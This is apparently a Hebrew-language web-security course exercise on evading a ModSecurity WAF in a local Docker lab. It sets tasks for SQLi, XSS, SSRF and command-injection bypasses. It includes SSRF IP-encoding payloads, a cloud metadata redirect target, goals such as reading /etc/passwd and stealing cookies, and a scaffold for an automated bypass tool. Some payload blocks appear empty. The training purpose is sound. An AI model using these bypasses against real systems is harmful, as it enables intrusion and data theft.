הbypass WAF לכל חולשה - תרגיל¶
הכנה¶
# Setting up an environment with ModSecurity CRS at paranoia level 3
docker run -d --name modsec-vuln -p 8080:80 \
-e PARANOIA=3 owasp/modsecurity-crs:apache
תרגיל 1 - הbypass WAF ל-SQLi¶
נקודת injection:
הquery בצד השרת:
משימה:
-
נסו את הpayloads הבאים ותעדו אילו נחסמים:
-
מצאו לפחות 3 שיטות שעוקפות את ה-WAF
-
בנו payload שמחלץ את שם המשתמש והסיסמה מטבלת users:
import requests target = "http://localhost:8080/products" bypass_payloads = [ # TODO: payloads that extract data ] for payload in bypass_payloads: r = requests.get(target, params={"category": payload}) print(f"[{r.status_code}] {payload[:50]}...") if r.status_code == 200: print(f" Response: {r.text[:100]}...") -
בנו payload Time-based blind SQLi שמשתמש ב-BENCHMARK במקום SLEEP:
תרגיל 2 - הbypass WAF ל-XSS¶
נקודת injection:
ה-WAF חוסם: <script>, alert, onerror, onload, <iframe>, javascript:
משימה:
-
נסו את הpayloads הבאים:
-
מצאו payload שמריץ
alert(document.cookie)ועוקף את כל הפילטרים -
כתבו payload XSS ללא סוגריים:
-
כתבו payload שמשתמש ב-Function constructor עם encoding:
תרגיל 3 - הbypass WAF ל-SSRF¶
נקודת ה-SSRF:
השרת מבצע בקשת HTTP ל-URL שהמשתמש מספק. ה-WAF חוסם:
- 127.0.0.1
- localhost
- 169.254.169.254
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16
משימה:
-
כתבו סקריפט שמנסה ייצוגים חלופיים של 127.0.0.1:
import requests target = "http://localhost:8080/api/fetch" ip_variants = [ "http://2130706433", # decimal "http://0x7f000001", # hex "http://0177.0.0.1", # octal "http://[::1]", # IPv6 "http://[::ffff:127.0.0.1]", # IPv6 mapped "http://127.1", # short form "http://0", # resolves to 0.0.0.0 "http://0x7f.1", # partial hex # Add more representations ] for url in ip_variants: r = requests.get(target, params={"url": url}) status = "PASS" if r.status_code == 200 else "BLOCKED" print(f"[{status}] {url}") -
נסו bypass דרך DNS:
- הגדירו A record שמצביע ל-127.0.0.1
-
השתמשו ב-nip.io:
http://127.0.0.1.nip.io -
נסו bypass דרך redirect:
-
הקימו שרת שמחזיר 302 ל-
http://169.254.169.254/latest/meta-data/ -
נסו סכמות URL חלופיות:
תרגיל 4 - הbypass WAF ל-Command Injection¶
נקודת injection:
השרת מריץ:
ה-WAF חוסם: ;, |, &, `, $(, cat, ls, /etc/passwd, whoami
משימה:
-
נסו שברי פקודה חלופיים:
-
נסו wildcards:
-
נסו הרחבת משתנים:
-
נסו מרכאות:
-
שלבו מספר טכניקות ומצאו payload שמריץ
cat /etc/passwd:
import requests target = "http://localhost:8080/api/ping" cmd_payloads = [ # TODO: complete ] for payload in cmd_payloads: r = requests.get(target, params={"host": payload}) print(f"[{r.status_code}] {payload}") if r.status_code == 200 and "root:" in r.text: print("[+] Success! The content was exposed")
תרגיל 5 - בדיקת WAF אוטומטית¶
משימה:
כתבו כלי Python אוטומטי שמקבל URL ונקודת injection, ומנסה באופן אוטומטי bypasses לכל סוגי החולשות:
class AutoWAFBypass:
def __init__(self, target_url, param_name, method='GET'):
self.target = target_url
self.param = param_name
self.method = method
def detect_vulnerability_type(self):
"""Attempt to identify the vulnerability type"""
# TODO: send basic payloads and identify by response
pass
def generate_sqli_bypasses(self, base_payload):
"""Generate SQLi payloads with bypasses"""
# TODO: complete
pass
def generate_xss_bypasses(self, base_payload):
"""Generate XSS payloads with bypasses"""
# TODO: complete
pass
def generate_ssrf_bypasses(self, target_ip):
"""Generate SSRF payloads with bypasses"""
# TODO: complete
pass
def generate_cmdi_bypasses(self, command):
"""Generate Command Injection payloads with bypasses"""
# TODO: complete
pass
def run_all(self):
"""Run all bypasses"""
vuln_type = self.detect_vulnerability_type()
# TODO: complete
pass
# Usage
bypass = AutoWAFBypass("http://localhost:8080/search", "q")
bypass.run_all()
- השלימו את כל המתודות
- הוסיפו לפחות 10 payloads לכל סוג חולשה
- הוסיפו דיווח שמסכם: איזה payloads עברו, באיזה status code, ומהי התגובה
תרגיל 6 - אתגר משולב¶
ה-WAF מגן על אפליקציה עם מספר נקודות חולשה:
| נקודת קצה | חולשה | פרמטר |
|---|---|---|
/search |
XSS | q |
/products |
SQLi | category |
/fetch |
SSRF | url |
/tools/ping |
Command Injection | host |
משימה:
- לכל נקודת קצה, מצאו לפחות bypass אחת שעובדת
- שלבו טכניקות מפרקים שונים:
- הencoding (פרק 8.2) + תחביר חלופי (פרק זה)
- HPP (פרק 8.3) + תחביר חלופי
- Unicode (פרק 8.4) + תחביר חלופי
- פרוטוקול (פרק 8.5) + תחביר חלופי
- תעדו את כל השילובים שניסיתם ואת התוצאות
- דרגו: איזה שילוב הכי יעיל לכל סוג חולשה?